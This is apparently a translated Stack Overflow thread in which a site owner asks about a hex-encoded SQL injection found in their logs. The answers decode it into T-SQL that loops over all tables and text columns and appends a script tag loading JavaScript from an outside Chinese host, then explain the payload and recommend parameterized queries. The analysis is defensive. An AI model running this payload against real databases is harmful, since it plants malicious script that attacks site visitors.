【问题标题】:Attempted SQL injection attack - what are they trying to do?尝试过的 SQL 注入攻击——他们想做什么?
【发布时间】:2010-09-17 01:33:07
【问题描述】:

我有一个面向公众的网站,在过去几周内收到了许多 SQL 注入攻击。我专门使用参数化存储过程,所以我相信没有成功攻击,但最近的日志显示了一个有趣的技术:

为清楚起见添加了换行符

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="

谁能阐明“CAST and EXEC”试图做什么?

【问题讨论】:

    标签: sql-server sql-injection


    【解决方案1】:

    下面是他们试图推送的解码后的 SQL:

    DECLARE @T varchar(255),
            @C varchar(4000) 
    
    DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
    FROM sysobjects a,syscolumns b 
    WHERE a.id=b.id 
    AND a.xtype='u' 
    AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
    
    OPEN Table_Cursor FETCH NEXT 
    FROM Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0) 
      BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
      FETCH NEXT FROM  Table_Cursor INTO @T,@C 
    END CLOSE Table_Cursor 
    
    DEALLOCATE Table_Cursor
    

    【讨论】:

    • 谷歌搜索“十六进制到字符串”给了我这个:string-functions.com/hex-string.aspx。之后,就是简单的 SQL 漂亮打印了。
    • 磕头非常感谢你这么快的反应。
    • 更简单的解码方法 - 将上述内容粘贴到查询分析器或等效查询引擎中。将 exec(@s) 更改为打印 @s。瞧
    • 有一个巨大的中国僵尸网络在整个网络上引起轰动,在它可以找到的每个页面的每个表单上都尝试这个。我们每天都会接受几次这样的调查——这是一种有用但令人讨厌的方式来表明我们对此类攻击免疫。
    【解决方案2】:

    代码从十六进制解密为字​​符后,似乎会遍历所有数据库表,选择所有 text/char 类型的列,并在此类型的每个值的末尾添加来自 @ 的恶意脚本执行987654321@。现在,如果在您的网站中,您至少有一个地方不会对从数据库中检索到的文本数据进行转义,那么您网站的用户就会在他们的机器上执行此恶意脚本。

    【讨论】:

      【解决方案3】:

      运行这个,例如在 mysql 中:

      select CAST(0x44...72 AS CHAR(4000)) as a;
      

      你会知道的。 Ishmaeel 粘贴了代码。

      这是一个 SQLserver 蠕虫,不是针对攻击的。

      【讨论】:

        【解决方案4】:

        我想我们以前也有过这种攻击。它试图在数据库中每个表的每个字段中插入一个&lt;script&gt; 标签。

        【讨论】:

          【解决方案5】:

          这是一个广告软件投放器脚本,旨在使用显示在您页面上的&lt;script&gt; 标记堵塞您的数据库。它已被编码,因为如果您尝试通过 URL 推送该垃圾,大多数服务器会爆炸。

          像这样的大多数事情都是随机尝试攻击,因为它们会用查询字符串攻击任何东西,但它可能是有针对性的攻击。测试您的站点以确保它不会让来自查询字符串的任何 SQL 执行。只需使用参数化查询应该覆盖你。

          【讨论】:

          • 是的,我还对我的 QUERYSTRING 和 FORM 字段进行编码,删除尖括号等以及其他常见的数据hygene 的东西!
          【解决方案6】:

          破译十六进制代码的最简单的 Python 算法是这样的:

          text = "4445434C415245204054207661726368617228323535292C404..."
          
          def getText():
              for i in range(0, len(text), 2):
                  byte = text[i:i+2]
                  char = int(byte, 16)
                  toPrint = chr(char)
                  yield toPrint
          
          print ''.join(getText())
          

          【讨论】:

            猜你喜欢
            • 2012-08-01
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 2016-01-02
            • 2015-10-03
            • 2019-08-10
            • 2013-08-15
            • 1970-01-01
            相关资源
            最近更新 更多